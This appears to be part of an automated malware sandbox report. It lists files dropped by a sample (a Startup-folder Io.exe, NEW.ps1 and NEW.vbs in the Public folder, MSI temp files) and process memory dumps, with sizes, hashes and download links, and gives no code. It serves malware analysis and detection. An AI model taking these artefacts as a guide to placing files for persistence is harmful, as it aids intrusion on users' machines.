a18598ac9402f45ba22cea4f7bdd4782

SHA1
76db003cee073a307a28b8dc2a901d587d014377

SHA256
696736cd779c3e16f75faffffcace334e9b71399b0650cb745d72acf4acfe224

SHA512
7c384fd092162e90005243df9b3497f879f54e91a0e614ffc1ac2b11e119d0cadc7e5a4e3f4d84ab77640f0e8d5a1a326e1eaf5ea4fbc4ac75616d3b84009e8e

Download Submit
C:\Users\Admin\AppData\Roaming\EZ CD Audio Converter\EZ CD Audio Converter 12.0.1.1\install\E7D27BC\TempFolder\setup1.cab

Filesize
39.8MB

MD5
627b5e0d1a432aa6e66ce5dd5af8baa6

SHA1
fafdb61d971f2741eac3a7bbefb754db64bf0c70

SHA256
51d580e3f429a018591ea0df27f13e87efdd0692070ea9104fd1210750ba85e6

SHA512
5aba06618e0ff8cc8544aa1c0fc5b1cd7bee17442e841e82c4e047d6a21c34e1a8a4b6b08f386019e689eecc7e17201b57caa52e5da6a0a501b1bfc6f645a6b1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Io.exe

Filesize
558KB

MD5
d4dfd6a0c4e47919619e59ac23ace0ac

SHA1
0238140f6d55cf9bc467deb4f904ae97294a0bc8

SHA256
b9bc2faed2bbc9deb689a3da95cf84d7d2438a61564eaf26f39a9330d155a638

SHA512
52136286137eec56546ce2cc6982edd506f2d1ad1f4b9a07d8e4ffd361c4f2c42d0e741bd05927cb93c868bb58f5cf3d5210cc3c5c4df3c6fcb54aee7b36645e

Download Submit
C:\Users\Public\NEW.ps1

Filesize
745KB

MD5
4552544f617ca1cb19593704e2dd936e

SHA1
28e512032458ca63538a34bdd822611e51dffb94

SHA256
5dac184ae7647477922f01b56b4fa2bbc6c625d5a77fabd1e45f9f79cd456265

SHA512
beb969434b38e1d8e4a706a9fa534b71cd2f98ff8002804da27d1a646bed020b90f83486c987c5b5941deaa48aa7e31f20af618f407e887ed60efd93ea8791e6

Download Submit
C:\Users\Public\NEW.vbs

Filesize
98B

MD5
0ad336f135170aaf10e9c53add8d1937

SHA1
a0fd835494705a0244f3ab6614a735bbc216c0cb

SHA256
277223ac9373d1f073ed9767463fd7a8d143a2016241359bf282f14e1ed8e4db

SHA512
b1c4184797ca10577de50d2f25ae7a2ca438bb295452f597669b5d0001f34a2b31f330abe93448068e73b161482d0425c8d81be90ecb2473a84c7f6915c764c3

Download Submit
C:\Windows\Installer\MSIA204.tmp

Filesize
967KB

MD5
bf6adc8f7e5afea02b8514b3f93dc30b

SHA1
1eea8393c3481d2be5b68af98efe70493dea1b1f

SHA256
5011c2403744c70efa01ce5341a8da118667268d74a0f046a5f7e93290b69529

SHA512
b1bb78aabd5a16c8f88c70e16fae90a15dd426dd014291e82952416c3f6a60413c642c1d46e586079f0a3904f88d53f37195acb2e001c0586f61baf675ffda72

Download Submit
C:\Windows\Installer\MSIA5CD.tmp

Filesize
411KB

MD5
daefcc204211c3d179eacc0c6ee4bcc6

SHA1
3bfc444a87d30dcc77730ad5bdb65b9593b50925

SHA256
d74b55c93e4991ac882af31978a186a797ac9cde0c93747094e0422106b8d100

SHA512
6aa70b0a48868b3de1dd0a96835db024ae325ae3fc5725567d54369b91c20972c1c3b7c8620f2189784010cf44bb6577a75702ef20f71f4eaf75deaf149492d1

Download Submit
C:\Windows\Installer\MSIB0D6.tmp

Filesize
532KB

MD5
74a4833cf5cd5396535b5f236569e0f2

SHA1
c1f97472ed374066dd1dac8b5b7c587c283b1ad2

SHA256
831375810426bd21735509c377b28e5553e3b59026c48f579b1143ec70b40fd1

SHA512
8ee522e88c9bfbb11cb734def3d1266a046d9fdc8b1f58d59f0bfa3c50d709b579362a0e2162d9dfb207a054dd1f4c41e4cd2d05bfe2b85c81b1ccdd75637eae

Download Submit
memory/1040-639-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-604-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-2495-0x0000000005BF0000-0x0000000005C44000-memory.dmp

Filesize
336KB

Download
memory/1040-2493-0x0000000005600000-0x0000000005666000-memory.dmp

Filesize
408KB

Download
memory/1040-2489-0x0000000005540000-0x000000000558C000-memory.dmp

Filesize
304KB

Download
memory/1040-2488-0x00000000054E0000-0x0000000005536000-memory.dmp

Filesize
344KB

Download
memory/1040-605-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-608-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-610-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-613-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-601-0x0000000000400000-0x000000000048E000-memory.dmp

Filesize
568KB

Download
memory/1040-603-0x0000000005310000-0x00000000053D8000-memory.dmp

Filesize
800KB

Download
memory/1040-611-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-645-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-643-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-641-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-615-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-637-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-635-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-633-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-631-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-629-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-627-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-625-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-623-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-621-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-619-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/1040-617-0x0000000005310000-0x00000000053D3000-memory.dmp

Filesize
780KB

Download
memory/2256-572-0x0000000000400000-0x0000000001D17000-memory.dmp

Filesize
25.1MB

Download
memory/2256-573-0x0000000000400000-0x0000000001D17000-memory.dmp

Filesize
25.1MB

Download
memory/2256-559-0x00000000040F0000-0x00000000042D8000-memory.dmp

Filesize
1.9MB

Download
memory/2256-570-0x0000000000400000-0x0000000001D17000-memory.dmp

Filesize
25.1MB

Download
memory/2256-575-0x0000000000400000-0x0000000001D17000-memory.dmp

Filesize
25.1MB

Download
memory/2256-576-0x0000000000400000-0x0000000001D17000-memory.dmp

Filesize
25.1MB

Download
memory/2256-581-0x0000000000400000-0x0000000001D17000-memory.dmp

Filesize
25.1MB

Download
memory/2256-580-0x00000000040F0000-0x00000000042D8000-memory.dmp

Filesize
1.9MB

Download
memory/2256-577-0x0000000000400000-0x0000000001D17000-memory.dmp

Filesize
25.1MB

Download
memory/2256-578-0x00000000040F0000-0x00000000042D8000-memory.dmp

Filesize
1.9MB

Download
memory/2256-566-0x0000000000400000-0x0000000001D17000-memory.dmp

Filesize
25.1MB

Download
memory/2256-569-0x0000000000400000-0x0000000001D17000-memory.dmp

Filesize
25.1MB

Download
memory/2256-571-0x0000000000400000-0x0000000001D17000-memory.dmp

Filesize
25.1MB

Download
memory/2708-174-0x0000023628960000-0x0000023628982000-memory.dmp

Filesize
136KB

Download
memory/4304-9068-0x0000000004EC0000-0x0000000004EF6000-memory.dmp

Filesize
216KB

Download
memory/4304-9093-0x00000000069E0000-0x0000000006A02000-memory.dmp

Filesize
136KB

Download
memory/4304-9092-0x00000000074E0000-0x0000000007576000-memory.dmp

Filesize
600KB

Download
memory/4304-9088-0x0000000006920000-0x000000000693A000-memory.dmp

Filesize
104KB

Download
memory/4304-9087-0x0000000007AC0000-0x000000000813A000-memory.dmp

Filesize
6.5MB

Download
memory/4304-9084-0x0000000006A50000-0x0000000006A9C000-memory.dmp

Filesize
304KB

Download
memory/4304-9083-0x0000000006490000-0x00000000064AE000-memory.dmp

Filesize
120KB

Download
memory/4304-9082-0x0000000005EA0000-0x00000000061F4000-memory.dmp

Filesize
3.3MB

Download
memory/4304-9072-0x0000000005DC0000-0x0000000005E26000-memory.dmp

Filesize
408KB

Download
memory/4304-9070-0x00000000055B0000-0x00000000055D2000-memory.dmp

Filesize
136KB

Download
memory/4304-9069-0x0000000005620000-0x0000000005C48000-memory.dmp

Filesize
6.2MB

Download
memory/4660-599-0x0000000000B00000-0x0000000000B92000-memory.dmp

Filesize
584KB

Download
memory/4660-600-0x00000000054A0000-0x000000000553C000-memory.dmp

Filesize
624KB

Download
memory/6440-8932-0x0000000007420000-0x00000000074B2000-memory.dmp

Filesize
584KB

Download
memory/6440-2501-0x0000000000CE0000-0x000000000147C000-memory.dmp

Filesize
7.6MB

Download
memory/6440-2502-0x0000000005E40000-0x0000000005FA0000-memory.dmp

Filesize
1.4MB

Download
memory/6440-3829-0x0000000006050000-0x000000000610A000-memory.dmp

Filesize
744KB

Download
memory/6440-3830-0x0000000006120000-0x00000000061D6000-memory.dmp

Filesize
728KB

Download
memory/6440-8934-0x0000000007940000-0x0000000007990000-memory.dmp

Filesize
320KB

Download
memory/6440-8933-0x00000000078D0000-0x00000000078E2000-memory.dmp

Filesize
72KB

Download
memory/6440-3831-0x0000000006A90000-0x0000000007034000-memory.dmp

Filesize
5.6MB

Download
memory/6440-5901-0x00000000066D0000-0x00000000067B0000-memory.dmp

Filesize
896KB

Download
memory/6440-3833-0x0000000006550000-0x00000000065E6000-memory.dmp

Filesize
600KB

Download
memory/6440-3832-0x00000000064E0000-0x0000000006552000-memory.dmp

Filesize
456KB

Download
memory/6500-9041-0x000002484CDF0000-0x000002484CED0000-memory.dmp

Filesize
896KB

Download